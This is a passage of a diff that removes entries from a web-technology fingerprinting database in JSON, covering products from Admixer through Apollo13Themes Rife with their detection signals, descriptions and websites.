"https://www.admitad.com" - }, - "Admixer": { - "js": [ - "admixerads", - "admixerml" - ], - "description": "Admixer is an independent adtech company developing an ecosystem of full-stack programmatic solutions.", - "website": "https://admixer.com" - }, - "Admo.tv": { - "js": [ - "admo_tt", - "admo_config" - ], - "description": "Admo.tv is a company developing a TV and radio analytics platform.", - "website": "https://www.admo.tv" - }, - "Adnegah": { - "headers": { - "x-advertising-by": "adnegah\\.net" - }, - "description": "Adnegah is a digital marketing and internet advertising agency.", - "website": "https://adnegah.net" - }, - "Adobe Analytics": { - "js": [ - "s_c_il.1.constructor.name", - "s_c_il.2._c", - "s_c_il.2.constructor.name", - "s_c_il.3.constructor.name", - "s_c_il.4._c", - "s_c_il.5.constructor.name", - "s_c_il.1._c", - "s_c_il.0.constructor.name", - "s_c_il.3._c", - "s_c_il.4.constructor.name", - "s_c_il.5._c", - "s_c_il.0._c" - ], - "description": "Adobe Analytics is a web analytics, marketing and cross-channel analytics application.", - "website": "https://www.adobe.com/analytics/adobe-analytics.html" - }, - "Adobe Audience Manager": { - "cookies": { - "aam_uuid": "", - "demdex": "" - }, - "description": "Adobe Audience Manager is a versatile audience data management platform.", - "website": "https://business.adobe.com/products/audience-manager/adobe-audience-manager.html" - }, - "Adobe Client Data Layer": { - "js": [ - "adobedatalayer.version" - ], - "description": "Adobe Client Data Layer is a framework of JavaScript objects on your site that contains all variable values used in your implementation.", - "website": "https://github.com/adobe/adobe-client-data-layer" - }, - "Adobe ColdFusion": { - "js": [ - "_cfemails" - ], - "headers": { - "cookie": "cftoken=" - }, - "html": [ - "\u003c!-- start headertags\\.cfm" - ], - "implies": [ - "CFML" - ], - "website": "http://adobe.com/products/coldfusion-family.html" - }, - "Adobe DTM": { - "js": [ - "_satellite.builddate" - ], - "description": "Dynamic Tag Management (DTM) is a tag management solution for Adobe Experience Cloud applications and others.", - "website": "https://marketing.adobe.com/resources/help/en_US/dtm/c_overview.html" - }, - "Adobe Dynamic Media Classic": { - "headers": { - "content-security-policy": "\\.scene7\\.com" - }, - "description": "Adobe Dynamic Media Classic is a platform that enables customers to manage, enhance, publish, and deliver dynamic rich media content and personal experiences to consumers across all channels and devices, including web, print material, email campaigns, desktops, social, and mobile.", - "website": "https://business.adobe.com/uk/products/experience-manager/scene7-login.html" - }, - "Adobe Experience Manager": { - "html": [ - "\u003cdiv class=\"[^\"]*parbase", - "\u003cdiv[^\u003e]+data-component-path=\"[^\"+]jcr:", - "\u003cdiv class=\"[^\"]*aem-grid" - ], - "implies": [ - "Java" - ], - "description": "Adobe Experience Manager (AEM) is a content management solution for building websites, mobile apps and forms.", - "website": "https://www.adobe.com/marketing/experience-manager.html" - }, - "Adobe Experience Platform Identity Service": { - "js": [ - "s_c_il.0._c", - "s_c_il.1._c", - "s_c_il.2._c", - "s_c_il.3._c", - "s_c_il.4._c", - "s_c_il.5._c" - ], - "description": "Adobe Experience Platform Identity Service creates identity graphs that hold customer profiles and the known identifiers that belong to individual consumers.", - "website": "https://docs.adobe.com/content/help/en/id-service/using/home.html" - }, - "Adobe Experience Platform Launch": { - "js": [ - "_satellite.buildinfo" - ], - "description": "Adobe Experience Cloud Launch is an extendable tag management solution for Adobe Experience Cloud, Adobe Experience Platform, and other applications.", - "website": "https://docs.adobelaunch.com/getting-started" - }, - "Adobe Flash": { - "description": "Adobe Flash is a multimedia software platform used for production of animations, rich web applications and embedded web browser video players.", - "website": "https://www.adobe.com/products/flashplayer" - }, - "Adobe GoLive": { - "meta": { - "generator": [ - "adobe golive(?:\\s([\\d.]+))?\\;version:\\1" - ] - }, - "description": "Adobe GoLive is a WYSIWYG HTML editor and web site management application.", - "website": "http://www.adobe.com/products/golive" - }, - "Adobe Portfolio": { - "meta": { - "twitter:site": [ - "@adobeportfolio" - ] - }, - "description": "Adobe Portfolio is an Adobe platform that allows you to create a web page where you can show your projects, creations, and the services you offer.", - "website": "https://portfolio.adobe.com" - }, - "Adobe RoboHelp": { - "js": [ - "gbwhlang", - "gbwhmsg", - "gbwhproxy", - "gbwhutil", - "gbwhver" - ], - "meta": { - "generator": [ - "^adobe robohelp(?: ([\\d]+))?\\;version:\\1" - ] - }, - "description": "Adobe RoboHelp is a Help Authoring Tool (HAT) that allows you to create help systems, e-learning content and knowledge bases.", - "website": "http://adobe.com/products/robohelp.html" - }, - "Adobe Target": { - "js": [ - "adobe.target", - "adobe.target.version" - ], - "description": "Adobe Target is an A/B testing, multi-variate testing, personalisation, and optimisation application", - "website": "https://www.adobe.com/marketing/target.html" - }, - "AdonisJS": { - "cookies": { - "adonis-session": "", - "adonis-session-values": "" - }, - "implies": [ - "Node.js" - ], - "website": "https://adonisjs.com" - }, - "Advally": { - "js": [ - "advally" - ], - "description": "Advally is an advertising platform for publishers.", - "website": "https://www.advally.com" - }, - "Advanced Custom Fields": { - "js": [ - "acf", - "acfl10n" - ], - "description": "Advanced Custom Fields is a WordPress plugin which allows you to add extra content fields to your WordPress edit screens.", - "website": "https://www.advancedcustomfields.com" - }, - "Advert Stream": { - "js": [ - "advst_is_above_the_fold" - ], - "website": "http://www.advertstream.com" - }, - "Adverticum": { - "description": "Adverticum is the developer and operator of Hungary's market leading online ad serving solution, the Adverticum AdServer.", - "website": "http://adverticum.net" - }, - "Adyen": { - "js": [ - "adyen.encrypt.version" - ], - "description": "Adyen allows businesses to accept ecommerce, mobile, and point-of-sale payments.", - "website": "https://www.adyen.com" - }, - "Aegea": { - "headers": { - "x-powered-by": "^e2 aegea v(\\d+)$\\;version:\\1" - }, - "implies": [ - "PHP", - "jQuery" - ], - "website": "http://blogengine.ru" - }, - "Aero Commerce": { - "js": [ - "aeroevents.on" - ], - "description": "Aero Commerce is a performance-based platform designed with the evolving needs of retailers in mind.", - "website": "https://www.aerocommerce.com" - }, - "Affilae": { - "description": "Affilae is an affiliate marketing platform that enables brands to connect, collaborate with influencers and affiliates.", - "website": "https://affilae.com" - }, - "Affiliate B": { - "description": "Affiliate B is an advertising system that allows site operators (HP, blogs, e-mail newsletters, etc.) to place advertiser advertisements on their own sites.", - "website": "https://affiliate-b.com" - }, - "Affiliate Future": { - "description": "Affiliate Future is a provider of advertisers with marketing solution through its affiliate network and tools.", - "website": "http://affiliatefuture.com" - }, - "Affiliatly": { - "description": "Affiliatly is an affiliate marketing software for ecommerce store owners.", - "website": "https://www.affiliatly.com" - }, - "Affilio": { - "js": [ - "affilio.widget" - ], - "description": "Affilio is an Iranian affiliate marketing platform.", - "website": "https://affilio.ir" - }, - "Affilo": { - "description": "Affilo is an all-in-one solution for referrals and affiliate marketing.", - "website": "https://affilo.io" - }, - "Affirm": { - "js": [ - "_affirm_config", - "affirm.rollbar" - ], - "description": "Affirm is a loan company that allows users to buy goods or services offered by online merchants and pay off those purchases in fixed monthly payments.", - "website": "https://www.affirm.com" - }, - "Afosto": { - "headers": { - "x-powered-by": "afosto saas bv\\;version:2.0" - }, - "website": "http://afosto.com" - }, - "AfterBuy": { - "js": [ - "afterbuystring" - ], - "description": "AfterBuy is a software company that specialises in ecommerce software for small to enterprise level businesses.", - "website": "http://www.afterbuy.de" - }, - "AfterShip": { - "js": [ - "aftership.__version__" - ], - "description": "AfterShip provides automated shipment tracking as a service.", - "website": "https://www.aftership.com" - }, - "AfterShip Returns Center": { - "description": "AfterShip Returns Center is an interactive self-service return solution.", - "website": "https://www.aftership.com/returns" - }, - "Afterpay": { - "js": [ - "afterpay.version", - "afterpayattractwidget", - "afterpaygenericerrorhtml", - "afterpaywidgethtml", - "afterpay_product", - "checkout.enabledpayments.afterpay", - "afterpay" - ], - "description": "Afterpay is a 'buy now, pay later' platform that makes it possible to pay off purchased goods in fortnightly instalments.", - "website": "https://www.afterpay.com/" - }, - "Ahoy": { - "cookies": { - "ahoy_track": "", - "ahoy_visit": "", - "ahoy_visitor": "" - }, - "js": [ - "ahoy" - ], - "website": "https://github.com/ankane/ahoy" - }, - "AiSpeed": { - "js": [ - "aispeed_init" - ], - "implies": [ - "Shopify" - ], - "description": "AiSpeed is a shopify app focused on improving site speed.", - "website": "https://apps.shopify.com/aispeed" - }, - "Aimtell": { - "js": [ - "_aimtellload", - "_aimtellpushtoken", - "_aimtellwebhook" - ], - "description": "Aimtell is a cloud-hosted marketing platform that allows digital marketers and businesses to deliver web-based push notifications.", - "website": "https://aimtell.com" - }, - "Air360": { - "js": [ - "air360.sdk_version" - ], - "description": "Air360 is a technology company that specialises in performance-enhancing, mobile and ecommerce experience analytics.", - "website": "https://www.air360.io" - }, - "AirRobe": { - "js": [ - "airrobe.app_id" - ], - "description": "AirRobe partners with brands and retailers to power the circular fashion economy.", - "website": "https://airrobe.com" - }, - "Aircall": { - "description": "Aircall is a cloud-based phone system for customer support and sales teams.", - "website": "http://aircall.io" - }, - "Airee": { - "headers": { - "server": "^airee" - }, - "website": "http://xn--80aqc2a.xn--p1ai" - }, - "Airform": { - "description": "Airform is a functional HTML forms for front-end developers.", - "website": "https://airform.io" - }, - "Airship": { - "description": "Airship is an American company that provides marketing and branding services. Airship allows companies to generate custom messages to consumers via push notifications, SMS messaging, and similar, and provides customer analytics services.", - "website": "https://www.airship.com" - }, - "Airtable": { - "description": "Airtable is a low-code platform for building collaborative apps.", - "website": "https://www.airtable.com" - }, - "Akamai": { - "headers": { - "x-akamai-transformed": "", - "x-edgeconnect-midmile-rtt": "", - "x-edgeconnect-origin-mex-latency": "" - }, - "description": "Akamai is global content delivery network (CDN) services provider for media and software delivery, and cloud security solutions.", - "website": "http://akamai.com" - }, - "Akamai Bot Manager": { - "cookies": { - "ak_bmsc": "", - "bm_sv": "", - "bm_sz": "" - }, - "implies": [ - "Akamai" - ], - "description": "Akamai Bot Manager detect bots using device fingerprinting bot signatures.", - "website": "https://www.akamai.com/us/en/products/security/bot-manager.jsp" - }, - "Akamai Web Application Protector": { - "js": [ - "aksb" - ], - "implies": [ - "Akamai" - ], - "description": "Akamai Web Application Protector is designed for companies looking for a more automated approach to web application firewall (WAF) and distributed denial-of-service (DDoS) security.", - "website": "https://www.akamai.com/us/en/products/security/web-application-protector-enterprise-waf-firewall-ddos-protection.jsp" - }, - "Akamai mPulse": { - "cookies": { - "akaas_ab-testing": "" - }, - "js": [ - "boomr_api_key" - ], - "html": [ - "\u003cscript\u003e[\\s\\s]*?go-mpulse\\.net\\/boomerang[\\s\\s]*?\u003c/script\u003e" - ], - "implies": [ - "Boomerang" - ], - "description": "Akamai mPulse is a real user monitoring (RUM) solution that enables companies to monitor, find, and fix website and application performance issues.", - "website": "https://developer.akamai.com/akamai-mpulse-real-user-monitoring-solution" - }, - "Akaunting": { - "headers": { - "x-akaunting": "^free accounting software$" - }, - "html": [ - "\u003clink[^\u003e]+akaunting-green\\.css", - "powered by akaunting: \u003ca [^\u003e]*href=\"https?://(?:www\\.)?akaunting\\.com[^\u003e]+\u003e" - ], - "implies": [ - "Laravel" - ], - "description": "Akaunting is a free and online accounting software.", - "website": "https://akaunting.com" - }, - "Akinon": { - "description": "Akinon is a cloud-based headless commerce platform with an integrated application suite including omnichannel and marketplace capabilities, mobile and in-store solutions, and an OMS.", - "website": "https://www.akinon.com/" - }, - "Akismet": { - "js": [ - "ak_js.checkvalidity" - ], - "description": "Akismet is a service that filters spam from comments, trackbacks, and contact form messages.", - "website": "https://akismet.com" - }, - "Akka HTTP": { - "headers": { - "server": "akka-http(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://akka.io" - }, - "Aklamio": { - "headers": { - "content-security-policy": "\\.aklamio\\.com" - }, - "description": "Aklamio is a solution for enterprise level referral marketing and customer incentivisation.", - "website": "https://www.aklamio.com" - }, - "Aksara CMS": { - "implies": [ - "PHP", - "MySQL", - "CodeIgniter", - "Bootstrap", - "jQuery", - "OpenLayers" - ], - "description": "Aksara CMS is a CodeIgniter based CRUD toolkit.", - "website": "https://aksaracms.com" - }, - "Albacross": { - "js": [ - "_nqsv" - ], - "description": "Albacross is a lead generation and account intelligence platform. It helps marketing and sales teams identify their ideal customers visiting their website and gives them the insights they need to generate more qualified leads, make prospecting more efficient and close more deals.", - "website": "https://albacross.com" - }, - "AlertifyJS": { - "js": [ - "alertify.defaults.autoreset" - ], - "description": "AlertifyJS is a javascript framework for developing browser dialogs and notifications.", - "website": "https://alertifyjs.com" - }, - "Alexa Certified Site Metrics": { - "js": [ - "_atrk_opts.domain" - ], - "description": "Alexa Certified Site Metrics is an analytics service wich monitors and analyses web traffic and can be used to keep track of user behavior.", - "website": "https://support.alexa.com/hc/en-us/sections/200063374" - }, - "Algolia": { - "cookies": { - "_algolia": "" - }, - "js": [ - "__algolia", - "algoliasearch.version", - "algolia_insights_src", - "algoliasearch", - "__global__.algolia", - "__next_data__.props.pageprops.appsettings.algolia_app_id" - ], - "headers": { - "content-security-policy": "\\.algolia" - }, - "description": "Algolia offers a hosted web search product delivering real-time results.", - "website": "http://www.algolia.com" - }, - "Algolia DocSearch": { - "js": [ - "docsearch.version" - ], - "implies": [ - "Algolia" - ], - "description": "Algolia DocSearch is a search widget specifically designed for documentation websites.", - "website": "https://docsearch.algolia.com" - }, - "Ali Reviews": { - "js": [ - "alireviews_tags" - ], - "description": "Ali reviews is a shopify app to collect reviews from customers.", - "website": "https://apps.shopify.com/ali-reviews" - }, - "Alibaba Cloud CDN": { - "description": "Alibaba Cloud CDN is a global network of servers designed to deliver high-performance, low-latency content to users around the world. It is a cloud-based service provided by Alibaba Cloud, a subsidiary of the Alibaba Group, that enables businesses to accelerate the delivery of their web content, including images, videos, and static files, to end-users.", - "website": "https://www.alibabacloud.com/product/content-delivery-network" - }, - "Alibaba Cloud Object Storage Service": { - "headers": { - "x-oss-object-type": "", - "x-oss-request-id": "", - "x-oss-storage-class": "" - }, - "description": "Alibaba Cloud Object Storage Service (OSS) is a cloud-based object storage service provided by Alibaba Cloud, which allows users to store and access large amounts of data in the cloud.", - "website": "https://www.alibabacloud.com/product/object-storage-service" - }, - "Alibaba Cloud Verification Code": { - "description": "Alibaba Cloud Verification Code is a security feature provided by Alibaba Cloud to help protect user accounts from unauthorised access.", - "website": "https://help.aliyun.com/document_detail/193141.html" - }, - "All in One SEO Pack": { - "html": [ - "\u003c!-- all in one seo pack ([\\d.]+) \\;version:\\1" - ], - "description": "All in One SEO plugin optimizes WordPress website and its content for search engines.", - "website": "https://aioseo.com" - }, - "Alli": { - "description": "Alli is artificial intelligence for search engine optimisation.", - "website": "https://www.alliai.com" - }, - "AlloyUI": { - "js": [ - "aui" - ], - "implies": [ - "Bootstrap", - "YUI" - ], - "website": "http://www.alloyui.com" - }, - "Allyable": { - "description": "Allyable is an automated web accessibility solution with an AI engine.", - "website": "https://allyable.com" - }, - "AlmaLinux": { - "headers": { - "server": "almalinux" - }, - "description": "AlmaLinux is an open-source, community-driven Linux operating system that fills the gap left by the discontinuation of the CentOS Linux stable release.", - "website": "https://almalinux.org" - }, - "Alpine Linux": { - "headers": { - "x-powered-by": "alpine" - }, - "description": "Alpine Linux is a security-oriented, lightweight Linux distribution based on musl libc and busybox.", - "website": "https://www.alpinelinux.org" - }, - "Alpine.js": { - "js": [ - "alpine.version" - ], - "html": [ - "\u003c[^\u003e]+[^\\w-]x-data[^\\w-][^\u003c]+\\;confidence:75" - ], - "website": "https://github.com/alpinejs/alpine" - }, - "AlternC": { - "description": "AlternC is a set of software management on Linux shared hosting.", - "website": "https://alternc.com" - }, - "AlumnIQ": { - "cookies": { - "alumniq-online-giving": "" - }, - "description": "AlumnIQ is a set of services to manage events, giving, email, volunteers, class agents, and more, all designed to work with your database of record.", - "website": "https://www.alumniq.com/platform/" - }, - "Amaya": { - "meta": { - "generator": [ - "amaya(?: v?([\\d.]+[a-z]))?\\;version:\\1" - ] - }, - "description": "Amaya is an open-source web browser editor to create and update documents on the web.", - "website": "http://www.w3.org/Amaya" - }, - "Amazon ALB": { - "cookies": { - "awsalb": "", - "awsalbcors": "" - }, - "implies": [ - "Amazon Web Services" - ], - "description": "Amazon Application Load Balancer (ALB) distributes incoming application traffic to increase availability and support content-based routing.", - "website": "https://aws.amazon.com/elasticloadbalancing/" - }, - "Amazon Advertising": { - "description": "Amazon Advertising (formerly AMS or Amazon Marketing Services) is a service that works in a similar way to pay-per-click ads on Google.", - "website": "https://advertising.amazon.com" - }, - "Amazon Associates": { - "description": "Amazon Associates is an affiliate marketing program that allows website owners and bloggers to create links and earn referral fees when customers click through and buy products from Amazon.", - "website": "https://affiliate-program.amazon.com" - }, - "Amazon Aurora": { - "implies": [ - "Amazon Web Services" - ], - "description": "Amazon Aurora is a relational database service developed and offered by Amazon Web Services.", - "website": "https://aws.amazon.com/rds/aurora" - }, - "Amazon CloudFront": { - "headers": { - "via": "\\(cloudfront\\)$", - "x-amz-cf-id": "" - }, - "implies": [ - "Amazon Web Services" - ], - "description": "Amazon CloudFront is a fast content delivery network (CDN) service that securely delivers data, videos, applications, and APIs to customers globally with low latency, high transfer speeds.", - "website": "http://aws.amazon.com/cloudfront/" - }, - "Amazon CloudWatch RUM": { - "js": [ - "awsrum", - "awsrumclient", - "awsrumclient.v", - "awsrumconfig" - ], - "description": "Amazon CloudWatch RUM is a real-user monitoring capability that helps you identify and debug issues in the client-side on web applications and enhance end user's digital experience.", - "website": "https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch-RUM.html" - }, - "Amazon Cognito": { - "implies": [ - "Amazon Web Services" - ], - "description": "Amazon Cognito lets you add user sign-up, sign-in, and access control to your web and mobile apps. Amazon Cognito supports sign-in with social identity providers, such as Apple, Facebook, Google, and Amazon, and enterprise identity providers via SAML 2.0 and OpenID Connect.", - "website": "https://aws.amazon.com/cognito/" - }, - "Amazon EC2": { - "headers": { - "server": "\\(amazon\\)" - }, - "implies": [ - "Amazon Web Services" - ], - "description": "Amazon Elastic Compute Cloud is a part of Amazon.com's cloud-computing platform, Amazon Web Services, that allows users to rent virtual computers on which to run their own computer applications.", - "website": "http://aws.amazon.com/ec2/" - }, - "Amazon ECS": { - "headers": { - "server": "^ecs" - }, - "implies": [ - "Amazon Web Services", - "Docker" - ], - "website": "https://aws.amazon.com/ecs/" - }, - "Amazon EFS": { - "implies": [ - "Amazon Web Services" - ], - "description": "Amazon Elastic File System is a cloud storage service provided by Amazon Web Services.", - "website": "https://aws.amazon.com/efs/" - }, - "Amazon ELB": { - "cookies": { - "awselb": "" - }, - "headers": { - "server": "awselb" - }, - "implies": [ - "Amazon Web Services" - ], - "description": "AWS ELB is a network load balancer service provided by Amazon Web Services for distributing traffic across multiple targets, such as Amazon EC2 instances, containers, IP addresses, and Lambda functions.", - "website": "https://aws.amazon.com/elasticloadbalancing/" - }, - "Amazon Pay": { - "js": [ - "amazonpayments", - "offamazonpayments", - "enableamazonpay", - "onamazonpaymentsready" - ], - "meta": { - "id": [ - "amazon-payments-metadata" - ] - }, - "description": "Amazon Pay is an online payments processing service that is owned by Amazon. It lets you use the payment methods associated with your Amazon account to make payments for goods and services.", - "website": "https://pay.amazon.com" - }, - "Amazon S3": { - "headers": { - "content-security-policy": "s3[^ ]*amazonaws\\.com", - "content-security-policy-report-only": "s3[^ ]*\\.amazonaws\\.com", - "server": "^amazons3$" - }, - "implies": [ - "Amazon Web Services" - ], - "description": "Amazon S3 or Amazon Simple Storage Service is a service offered by Amazon Web Services (AWS) that provides object storage through a web service interface.", - "website": "http://aws.amazon.com/s3/" - }, - "Amazon SES": { - "implies": [ - "Amazon Web Services" - ], - "description": "Amazon Simple Email Service (SES) is an email service that enables developers to send mail from within any application.", - "website": "https://aws.amazon.com/ses/" - }, - "Amazon Web Services": { - "headers": { - "x-amz-delete-marker": "", - "x-amz-err-code": "", - "x-amz-err-message": "", - "x-amz-id-2": "", - "x-amz-req-time-micros": "", - "x-amz-request-id": "", - "x-amz-rid": "", - "x-amz-version-id": "" - }, - "description": "Amazon Web Services (AWS) is a comprehensive cloud services platform offering compute power, database storage, content delivery and other functionality.", - "website": "https://aws.amazon.com/" - }, - "Amazon Webstore": { - "js": [ - "amzn" - ], - "description": "Amazon Webstore is an all-in-one hosted ecommerce website solution.", - "website": "https://aws.amazon.com/marketplace/pp/Amazon-Web-Services-Amazon-Webstore/B007NLVI2S" - }, - "Ambassador": { - "js": [ - "_mbsy.integrations" - ], - "description": "Ambassador is a marketer-friendly software that simplifies referral marketing and helps automating the enrolment, tracking, rewarding and management process.", - "website": "https://www.getambassador.com" - }, - "Amber": { - "headers": { - "x-powered-by": "^amber$" - }, - "website": "https://amberframework.org" - }, - "American Express": { - "description": "American Express, also known as Amex, facilitates electronic funds transfers throughout the world, most commonly through branded credit cards, debit cards and prepaid cards.", - "website": "https://www.americanexpress.com" - }, - "Ametys": { - "meta": { - "generator": [ - "(?:ametys|anyware technologies)" - ] - }, - "implies": [ - "Java" - ], - "website": "http://ametys.org" - }, - "Amex Express Checkout": { - "description": "Amex Express Checkout is a service that simplifies the checkout experience by auto-filling necessary cardholder payment data into merchant checkout fields.", - "website": "https://www.americanexpress.com/us/express-checkout/" - }, - "Amiro.CMS": { - "meta": { - "generator": [ - "amiro" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "Amiro.CMS is a commercial content management system developed and distributed by the Russian company Amiro. Written in PHP and uses MySQL as a database.", - "website": "https://www.amiro.ru" - }, - "Amobee": { - "description": "Amobee is a cloud-based advertising and data management platform.", - "website": "https://www.amobee.com" - }, - "Amplience": { - "js": [ - "ampliancetemplates" - ], - "description": "Amplience is an API-first, headless content management platform for enterprise retail.", - "website": "https://amplience.com" - }, - "Amplitude": { - "js": [ - "amplitudeclient", - "amplitude_key", - "__amplitude__" - ], - "description": "Amplitude is a web and mobile analytics solution with cross-platform user journey tracking, user behavior analysis and segmentation capabilities.", - "website": "https://amplitude.com" - }, - "Analysys Ark": { - "cookies": { - "ark_id": "" - }, - "js": [ - "analysysagent" - ], - "website": "https://ark.analysys.cn" - }, - "Analyzee": { - "js": [ - "analyzee._sessionextend", - "analyzee._session" - ], - "description": "Analyzee is an analytics tool that allows you to gain insights into visitor behavior and optimise your website's user experience using heatmaps and other analytics features.", - "website": "https://analyzee.io" - }, - "AndersNoren Baskerville": { - "description": "AndersNoren Baskerville is a responsive and retina-ready masonry WordPress theme for hoarders.", - "website": "https://andersnoren.se/teman/baskerville-wordpress-theme" - }, - "AndersNoren Fukasawa": { - "description": "AndersNoren Fukasawa is a minimal masonry style blog WordPress theme for photographers and collectors.", - "website": "https://andersnoren.se/teman/fukasawa-wordpress-theme" - }, - "AndersNoren Hemingway": { - "description": "AndersNoren Hemingway is a clean and beautiful two-column WordPress theme for bloggers.", - "website": "https://andersnoren.se/teman/hemingway-wordpress-theme" - }, - "AndersNoren Hitchcock": { - "description": "AndersNoren Hitchcock is a portfolio WordPress theme for designers, photographers and other creatives.", - "website": "https://andersnoren.se/teman/hitchcock-wordpress-theme" - }, - "AndersNoren Lovecraft": { - "description": "AndersNoren Lovecraft is a beautiful two-column WordPress theme for bloggers.", - "website": "https://andersnoren.se/teman/lovecraft-wordpress-theme" - }, - "Anetwork": { - "website": "https://www.anetwork.ir" - }, - "Angie": { - "headers": { - "server": "^angie(?:/([\\d\\.]+))?$\\;version:\\1" - }, - "implies": [ - "Perl", - "C" - ], - "description": "Angie is a drop-in replacement for the Nginx web server aiming to extend the functionality of the original version.", - "website": "https://angie.software/en/" - }, - "Angular": { - "js": [ - "ng.coretokens", - "ng.probe" - ], - "implies": [ - "TypeScript" - ], - "description": "Angular is a TypeScript-based open-source web application framework led by the Angular Team at Google.", - "website": "https://angular.io" - }, - "Angular Material": { - "js": [ - "ngmaterial" - ], - "implies": [ - "AngularJS" - ], - "description": "Angular Material is a UI component library for Angular JS developers. Angular Material components assist in constructing attractive, consistent, and functional web pages and web applications.", - "website": "https://material.angularjs.org" - }, - "AngularDart": { - "js": [ - "ngtestabilityregistries" - ], - "implies": [ - "Dart" - ], - "website": "https://webdev.dartlang.org/angular/" - }, - "AngularJS": { - "js": [ - "angular", - "angular.version.full" - ], - "html": [ - "\u003c(?:div|html)[^\u003e]+ng-app=", - "\u003cng-app" - ], - "description": "AngularJS is a JavaScript-based open-source web application framework led by the Angular Team at Google.", - "website": "https://angularjs.org" - }, - "Animate.css": { - "description": "Animate.css is a ready-to-use library collection of CSS3 animation effects.", - "website": "https://animate.style" - }, - "Aniview Ad Server": { - "description": "Aniview Ad Server is a technology developed by Aniview, a company that specialises in providing video advertising solutions. The Aniview Ad Server is a platform designed to manage and serve video ads to publishers, advertisers, and agencies.", - "website": "https://aniview.com/video-ad-servers/" - }, - "Aniview Video Ad Player": { - "implies": [ - "Aniview Ad Server" - ], - "description": "Aniview Video Ad Player is a video player technology developed by Aniview, a company that specialises in providing video advertising solutions.", - "website": "https://aniview.com/video-ad-player/" - }, - "AnswerDash": { - "js": [ - "answerdash.__plugin", - "answerdash" - ], - "description": "AnswerDash is a question and answer platform that serves business customers thereby reducing support costs and revealing customer needs.", - "website": "https://www.answerdash.com" - }, - "Ant Design": { - "js": [ - "antd.version" - ], - "html": [ - "\u003c[^\u003e]*class=\"ant-(?:btn|col|row|layout|breadcrumb|menu|pagination|steps|select|cascader|checkbox|calendar|form|input-number|input|mention|rate|radio|slider|switch|tree-select|time-picker|transfer|upload|avatar|badge|card|carousel|collapse|list|popover|tooltip|table|tabs|tag|timeline|tree|alert|modal|message|notification|progress|popconfirm|spin|anchor|back-top|divider|drawer)", - "\u003ci class=\"anticon anticon-" - ], - "description": "Ant Design is a UI library that can be used with data flow solutions and application frameworks in any React ecosystem.", - "website": "https://ant.design" - }, - "AntV G2": { - "js": [ - "g2.version", - "g2.chart" - ], - "description": "AntV G2 is a highly interactive data-driven visualisation grammar for statistical charts.", - "website": "https://g2plot.antv.vision" - }, - "AntV G6": { - "js": [ - "g6.graph", - "g6.version" - ], - "description": "AntV G6 is a graph visualisation framework in JavaScript.", - "website": "https://g6.antv.vision" - }, - "Antee IPO": { - "js": [ - "ipo.api.hidespinner" - ], - "meta": { - "author": [ - "antee\\ss\\.r\\.o\\." - ] - }, - "description": "Antee is a Czech company that will make a custom-made website for you, then you manage it in CMS IPO.", - "website": "https://ipo.antee.cz" - }, - "Anthology Encompass": { - "description": "Anthology Encompass is a constituent engagement management provider or educational institutions that provides modules to help you manage events, websites and content, data, and more.", - "website": "https://www.anthology.com/products/lifecycle-engagement/alumni-and-advancement/anthology-encompass" - }, - "AntiBot.Cloud": { - "meta": { - "generator": [ - "antibot\\.cloud\\sv\\.\\s([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "AntiBot.Cloud is a PHP script and cloud service to protect websites from bots and junk traffic.", - "website": "https://antibot.cloud" - }, - "Antsomi CDP 365": { - "description": "Antsomi CDP 365 is a AI-enabled customer data platform from Southeast Asia.", - "website": "https://www.antsomi.com" - }, - "AnyClip": { - "js": [ - "anyclip" - ], - "description": "AnyClip is a video engagement platform that uses an AI-driven content analysis engine to analyze and categorize video content in real-time to create personalised video feeds.", - "website": "https://www.anyclip.com" - }, - "Apache HTTP Server": { - "headers": { - "server": "(?:apache(?:$|/([\\d.]+)|[^/-])|(?:^|\\b)httpd)\\;version:\\1" - }, - "description": "Apache is a free and open-source cross-platform web server software.", - "website": "https://httpd.apache.org/" - }, - "Apache JSPWiki": { - "html": [ - "\u003chtml[^\u003e]* xmlns:jspwiki=" - ], - "implies": [ - "Apache Tomcat" - ], - "description": "Apache JSPWiki is an open-source Wiki engine, built around standard JEE components (Java, servlets, JSP).", - "website": "http://jspwiki.org" - }, - "Apache Tomcat": { - "headers": { - "server": "^apache-coyote", - "x-powered-by": "\\btomcat\\b(?:-([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Java" - ], - "description": "Apache Tomcat is an open-source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and WebSocket technologies.", - "website": "http://tomcat.apache.org" - }, - "Apache Traffic Server": { - "headers": { - "server": "ats/?([\\d.]+)?\\;version:\\1" - }, - "website": "http://trafficserver.apache.org/" - }, - "Apache Wicket": { - "js": [ - "wicket" - ], - "implies": [ - "Java" - ], - "website": "http://wicket.apache.org" - }, - "Apereo CAS": { - "implies": [ - "Java", - "PHP" - ], - "description": "Apereo CAS is an open and well-documented authentication protocol. The primary implementation of the protocol is an open-source Java server component by the same name hosted here, with support for a plethora of additional authentication protocols and features.", - "website": "https://www.apereo.org/projects/cas" - }, - "ApexCharts.js": { - "js": [ - "apexcharts" - ], - "description": "ApexCharts is a modern JavaScript charting library that empowers developers to build interactive data visualizations for commercial and non-commercial projects.", - "website": "https://apexcharts.com" - }, - "ApexPages": { - "headers": { - "x-powered-by": "salesforce\\.com apexpages" - }, - "implies": [ - "Salesforce" - ], - "website": "https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_intro.htm" - }, - "Apigee": { - "description": "Apigee is an API gateway management tool to exchange data across cloud services and applications", - "website": "https://cloud.google.com/apigee/" - }, - "Apisearch": { - "description": "Apisearch is a real-time search platform for ecommerce.", - "website": "https://apisearch.io" - }, - "Aplazame": { - "js": [ - "aplazame" - ], - "description": "Aplazame is a consumer credit company that provides instant financing service for online purchases. It combines an overtime payment method integrated at the ecommerce checkout with marketing tools to enable ecommerce to use financing as a promotional lever to boost sales.", - "website": "https://aplazame.com" - }, - "Apollo": { - "js": [ - "__apollo_client__.version", - "__next_data__.props.pageprops.__apollo_state__", - "__apollo_client__" - ], - "implies": [ - "GraphQL", - "TypeScript\\;confidence:50" - ], - "description": "Apollo is a fully-featured caching GraphQL client with integrations for React, Angular, and more.", - "website": "https://www.apollographql.com" - }, - "Apollo13Themes Rife": { - "description": "Apollo13Themes Rife is a great portfolio and photography WordPress theme with 7 ready-to-use demo layouts.", - "website": "https://apollo13themes.com/rife" - 